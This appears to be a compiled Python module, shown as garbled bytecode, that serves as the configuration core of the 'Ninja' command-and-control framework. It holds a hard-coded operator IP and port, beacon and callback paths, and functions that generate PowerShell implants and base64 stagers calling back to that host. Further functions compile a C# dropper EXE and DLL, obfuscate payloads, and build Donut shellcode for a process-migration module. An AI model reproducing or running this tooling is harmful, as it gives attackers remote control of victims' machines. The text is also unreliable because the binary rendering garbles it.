
    oi              
       *   d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlT dZ	da
dZ e            Z e            Z e            Zd a e            Zd Zdad	Zd
adZg ZdZdZdZdZdZdZ e j         ed                     d  e!d          D                       d                    "                                a#dZ$dZ%dZ&dZ'dZ(dZ)dZ*dZ+dZ,dZ-dZ.dZ/d Z0d!Z1d"Z2d#Z3d$Z4 ed%&          Z5d' Z6d( Z7d) Z8d* Z9d+ Z:d, Z;d- Z<d. Z=d/ Z>d0 Z?d1 Z@d2 ZAd3 ZBd4 ZCdS )5    N)Console)generate_key)*zBaldie-campaign8082z2.2z192.168.5.106NinjamainagentTF z
30/03/20261c                 V    g | ]&}t                               t          j                  'S  randomchoicestringascii_uppercase.0is     /home/kali/Ninja/core/config.py
<listcomp>r       s(    *d*d*dUV6==9O+P+P*d*d*d        UTF-8z/namesz/methodsz/contextz/namez
/operationz	/xmethodsz/operationsz/jbosswsz/extwsdlz/atomz/publishingz/axisz/indexz/publishz	/uddisoapz/svcez/inquiryapired)stylec                     t          dd          } |                                 }t          r+|                    dt                                        dt
                                        dt                                        dt                                        dt                                        dt                                        d	t                                        d
t                                        dt                                        dt                                        dd                              dt                    }n)|                    dt                                        dt
                                        dt                                        dt                                        dt                                        dt                                        d	t                                        d
t                                        dt                                        dt                                        dd                              dt                    }t          dd          }|                    |           |                                 t"                              d           |S )Nzcore/agents/payload2.ps1r{ip}{port}z{beacon}z
{register}z
{download}z{upload}z{image}z{cmd}z{re}z{md}{HTTP}httpsz{DATE}http)utils/payloads/Powershell/raw_payload.ps1wza[green][+] Raw Payload written to:[/green] [cyan]utils/payloads/Powershell/raw_payload.ps1[/cyan])openreadSSLreplaceHOSTPORTbeaconregister_urldownload_url
upload_url	image_urlcommand_url
result_urlmodules_urlKDATEwritecloseconsolelogfpps1payloads      r   PAYLOADr=   8   s_    
(#	.	.B
''))C
 kkk&$''//$??GG
TZ[[ccdpr~  H  H  IU  Wc  d  d  l  l  mw  yC  D  D  L  L  MV  Xa  b  b  j  j  kr  s~      G  G  HN  PZ  [  [  c  c  dj  lw  x  x  @  @  AI  KR  S  S  [  [  \d  fk  l  lkk&$''//$??GG
TZ[[ccdpr~  H  H  IU  Wc  d  d  l  l  mw  yC  D  D  L  L  MV  Xa  b  b  j  j  kr  s~      G  G  HN  PZ  [  [  c  c  dj  lw  x  x  @  @  AI  KQ  R  R  Z  Z  [c  ej  k  k>DDGMM#MMOOOKKstttJr   c                     t          dd          } |                                 }t          rb|                    dt                                        dt
                                        dt                                        dd          }na|                    dt                                        dt
                                        dt                                        dd          }t          d	d
          }|                    |           |                                 t          
                    d           |S )Nzcore/agents/stager.ps1r   r   r    z{b64payload}r!   r"   r#   z+utils/payloads/Powershell/base64_stager.ps1r%   zf[green][+] Stager Payload written to:[/green] [cyan]utils/payloads/Powershell/base64_stager.ps1[/cyan])r&   r'   r(   r)   r*   r+   b64_payloadr5   r6   r7   r8   r9   s      r   STAGERr@   H   s     
&	,	,B
''))C
 ~kk&$''//$??GGXcddllmuv}~~kk&$''//$??GGXcddllmuv|}}@#FFGMM#MMOOOKKxyyyJr   c                      t          dd          } t          dd          }|                                 }t          r|                    dt	          t
                                                  dt	          t                                                  dt	          t                                                  dt	          d	                    }n|                    dt	          t
                                                  dt	          t                                                  dt	          t                                                  dt	          d
                    }|                    |           |	                                 | 	                                 d}d}	 t          j        |d           t                              d           nA# t          $ r4}t                              dt!          |          z             Y d }~nd }~ww xY w	 t          j        |d           t                              d           d S # t          $ r5}t                              dt!          |          z             Y d }~d S d }~ww xY w)Nz core/agents/simple_dropper.ninjar   z(utils/payloads/Executables/cs_dropper.csr%   r   r    z{b64_stager}z{http}zhttps://zhttp://zmono-csc -r:core/lib/System.Management.Automation.dll utils/payloads/Executables/cs_dropper.cs -out:utils/payloads/Executables/dropper_cs.exe -target:exe -warn:2zmono-csc -r:core/lib/System.Management.Automation.dll utils/payloads/Executables/cs_dropper.cs -out:utils/payloads/Executables/dropper_cs.dll -target:library -warn:2T)shellzd[green][+] C# Dropper DLL written to:[/green] [cyan]utils/payloads/Executables/dropper_cs.dll[/cyan]z([-] ERROR generating csharp payload : %szd[green][+] C# Dropper EXE written to:[/green] [cyan]utils/payloads/Executables/dropper_cs.exe[/cyan])r&   r'   r(   r)   csobfr*   r+   
b64_stagerr5   r6   
subprocesscheck_outputr7   r8   	Exceptionprintstr)r:   fpocsexedlles         r   	cspayloadrO   X   s{   	0#	6	6B
93
?
?C	B
 ZZZd,,44XuT{{KKSSTbchisctctuu}}  G  IN  OY  IZ  IZ  [  [ZZd,,44XuT{{KKSSTbchisctctuu}}  G  IN  OX  IY  IY  Z  ZIIbMMMIIKKKHHJJJ nC rCK40000z{{{{ K K K@3q66IJJJJJJJJKK40000z{{{{{ K K K@3q66IJJJJJJJJJKs0   )0G 
H$*HH0I 
J*JJc                     	 t          dd          } |                                 }t          dd          } |                     t          |                    d                               |                                  t                              d           d S # t          $ r5}t          	                    dt          |          z             Y d }~d S d }~ww xY w)Nr$   rbz)utils/payloads/Powershell/payload-obf.ps1r%   r   zh[green][+] Obfuscated payload written to:[/green] [cyan]utils/payloads/Powershell/payload-obf.ps1[/cyan]z,[-] ERROR generating obfuscated payload : %s)r&   r'   r5   obfvardecoder6   r7   r8   rG   rH   rI   )fr<   rN   s      r   	obfuscaterU   r   s    
O<dCC&&((<cBB	w~~g..//000				~ O O ODs1vvMNNNNNNNNNOs   BB 
C%*CCc                      t          dd          } |                                 }t          |                    d                    S )Nr$   rQ   r   )r&   r'   rR   rS   )rT   r<   s     r   Obfuscated_PAYLOADrW      s9    8$??AffhhG'..))***r   c            	         t          j        d          } t          dd          }|                                }|                    dt          j        |                               d                                        dd                    d	 t          d
          D                                 }t          dd          }|
                    |           |                                 t                              d           d S )Nz)utils/payloads/Executables/dropper_cs.exe)filezcore/agents/Migrator.ninjar   z{shellcode}zutf-8z{class}r
   c                 V    g | ]&}t                               t          j                  'S r   r   r   s     r   r   zmigrator.<locals>.<listcomp>   s'    AAA1v-	.	.AAAr      zModules/Migrator.ps1r%   zQ[green][+] Migrator payload written to:[/green] [cyan]Modules/Migrator.ps1[/cyan])donutcreater&   r'   r)   base64	b64encoderS   joinranger5   r6   r7   r8   )	shellcoder:   tempoutputs       r   migratorre      s    "MNNNI	*C	0	0B7799D<<v'7	'B'B'I'I''R'RSS[[\egigngnAAaAAAhC hC D DD(#..F
LL
LLNNNKKcdddddr   c                     d}| D ]$}|t          t          |          dz            z   }%t          j        t	          |d                                        d          S )Nr
   -   r   )chrordr^   r_   	bytearrayrS   )rI   dr   s      r   rC   rC      s]    
A # #SVVrM"""Ia112299'BBBr   c                 
    | a d S N)r+   )in_ports    r   set_portro      s    DDDr   c                 
    | a d S rm   )COUNT)in_counts    r   	set_countrs      s    EEEr   c                 
    | a d S rm   POINTER)
in_pointers    r   set_pointerrx      s    GGGr   c                 
    | a d S rm   )r*   )in_ips    r   set_ipr{      s    DDDr   c                 6    |t           |          z
  t           | <   d S rm   )TIME)idin_times     r   set_timer      s    b!DHHHr   c                      t           S rm   ru   r   r   r   get_pointerr      s    Nr   c                  "    t                      ad S rm   )r   AESKeyr   r   r   set_keyr      s    ^^FFFr   )Dr^   r   rE   r\   rich.consoler   core.Encryptionr   core.Obfuscatecampaign_namer+   VERSIONdictAGENTSCOMMANDr}   rq   	WEBSHELLSWEBSHELL_COUNTr*   BASErv   Implant_TypePAYLOADSDonutr(   CERTKEYr4   r,   r_   rj   r`   ra   rS   r   raw_payloadb52_payloadrD   
b52_stagerhjf_payloadr?   hjfs_payloadsct_payloadhta_payloadr-   r.   r/   r0   r1   r2   r3   follina_urlr7   r=   r@   rO   rU   rW   re   rC   ro   rs   rx   r{   r   r   r   r   r   r   <module>r      s|                      ( ( ( ( ( (    !
	
$&&tvv	
$&&	

	
v		"''*d*dZ_Z_`bZcZc*d*d*d"e"egnooppwwyy



	
 '


      K K K4O O O"+ + +	e 	e 	eC C C  
  
  
  
" " "  
    r   